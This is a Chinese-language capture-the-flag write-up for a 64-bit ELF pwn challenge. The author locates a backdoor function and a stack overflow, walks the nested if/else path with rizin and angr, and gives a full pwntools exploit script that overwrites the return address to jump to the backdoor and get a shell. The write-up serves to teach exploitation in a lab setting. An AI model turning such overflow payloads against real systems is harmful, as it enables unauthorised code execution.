angr 真牛.
64 位 ELF, 仅开启栈不可执行. main 函数是一堆读取和 if else (把 ida 干崩了). rizin 里 afl
发现后门函数, 直接给 shell. 同时还有 input_val
, input_line
, fksth
, 分别是读取整数, 读取字符串, 判断字符串相等. 其中, input_line
还有第二个参数 size, 表示最多读取这么多个字符. 没开 canary 给后门函数, 可以想到栈溢出覆盖返回地址. 可能出现溢出的读入就只有 input_line
, 去 main 函数找哪里可能溢出. s main; afx | grep line
总共 27 个, 一个个看 可以发现, 0x004079d7
位置的出现了溢出. 现在问题就变成了, 怎么从一万个 if 到这里.
通过搜索 WP 发现, 有个叫 angr 的东西可以做这个事. 尝试了一下, 结果把电脑内存跑光死机了.
rizin 里 pdg
把函数打出来, 丢入某个现代编辑器, 利用代码折叠功能, 删除不必要的代码块, 找到到溢出位置的路径, 大概是下面这样 (省略了读入和 fksth 之前对读入的加密, 保存字符串是为了 pdf | grep str
快速找到代码所在位置):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
undefined8 main(void)
{
sym.imp.printf("sbAmJLMLWm:");
if (iVar11 + iVar9 + iVar10 == 0x88b) {
sym.imp.printf("xifvxwmNRc:");
} else {
iVar9 = sym.fksth((int64_t)&var_400h, (int64_t)"JlQZtdeJUoYHwWVHWPoRnkWCCzTUIJfxSFyySvunXdHQwaPgqCe");
if (iVar9 == 0) {
sym.imp.printf("aiJQEVAXBrdCYCEZ:");
} else {
sym.imp.printf("hbsoMdIRWpYRqvfClb:");
iVar9 = sym.fksth((int64_t)&var_3c0h, (int64_t)"eRoTxWxqvoHTuwDKOzuPpBLJUNlbfmjvbyOJyZXYAJqkspYTkvatR");
if (iVar9 == 0) {
sym.imp.printf("PxtBycSeZr:");
} else {
iVar9 = sym.fksth((int64_t)&var_430h, (int64_t)"wLstsZkXukNiHeHyxjklnbIDJBvxCaCTxO");
if (iVar9 == 0) {
sym.imp.printf("MJiqfEWnWwNjv:");
} else {
sym.imp.printf("UTxqmFvmLy:");
if (var_454h - var_450h == 0x2426) {
sym.imp.printf("LLQPyLAOGJbnm:");
iVar9 = sym.fksth((int64_t)&var_380h, (int64_t)"vkyHujGLvgxKsLsXpFvkLqaOkMVwyHXNKZglNEWOKM");
if (iVar9 == 0) {
sym.imp.printf("gRGKqIlcuj:");
// stack overflow
}
}
}
}
}
}
return 0;
}
|
可以看到, 程序非常贴心, if 里都是非常苛刻的条件, 而要走的路径几乎都在 else 里. 也就是说乱输也能很快找到最后两个 if
倒数第二个前面有 input_val
读入这两个值, 可以找到并构造. 最后一个 if 才需要读入加密. 这里可以用 angr 跑. (不过这些都是异或, 也可以直接异或回去)
angr 懒得写了, 没搞得太明白.
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
|
from pwn import *
import subprocess
import angr
import sys
context(os='linux', arch='amd64', log_level='debug')
procname = './pwn'
libcname = './libc.so.6'
io = process(procname, stdin=PTY)
# io = remote()
elf = ELF(procname)
# libc = ELF(libcname)
def n2b(x):
return str(x).encode()
def one_gadgets():
result = [int(i) for i in subprocess.check_output(['one_gadget', '-l', '1', '--raw', libcname]).decode().split(' ')]
debug(f'search one gadgets from {libcname}: {[hex(i) for i in result]}')
return result
def find(start, find, avoid):
project = angr.Project(procname, auto_load_libs=False)
state = project.factory.blank_state(addr=start)
simulation = project.factory.simgr(state)
simulation.explore(find=find, avoid=avoid)
if simulation.found:
solution = simulation.found[0]
print(len(simulation.found))
key = solution.posix.dumps(sys.stdin.fileno())
print(key)
return key
else:
print('not found')
io.sendafter(b'sbAmJLMLWm:', b' ' * 8)
io.sendafter(b'HuEqdjYtuWo:', b' ' * 0x33)
io.sendafter(b'hbsoMdIRWpYRqvfClb:', b' ' * 0x35)
io.sendafter(b'tfAxpqDQuTCyJw:', b' ' * 0x22)
io.sendafter(b'UTxqmFvmLy:', b' ' * 3 + b'9254 0 ' + b' ' * 3)
payload = find(0x004076de, 0x004079ba, 0x00407a2f)
io.sendafter(b'LLQPyLAOGJbnm:', payload)
ret = 0x00407b44
payload = b'a' * 0xf + p64(0xdeadbeef) + p64(ret) + p64(elf.sym['backdoor'])
payload = payload.ljust(0x37, b'\x00')
io.sendafter(b'gRGKqIlcuj:', payload)
io.interactive()
|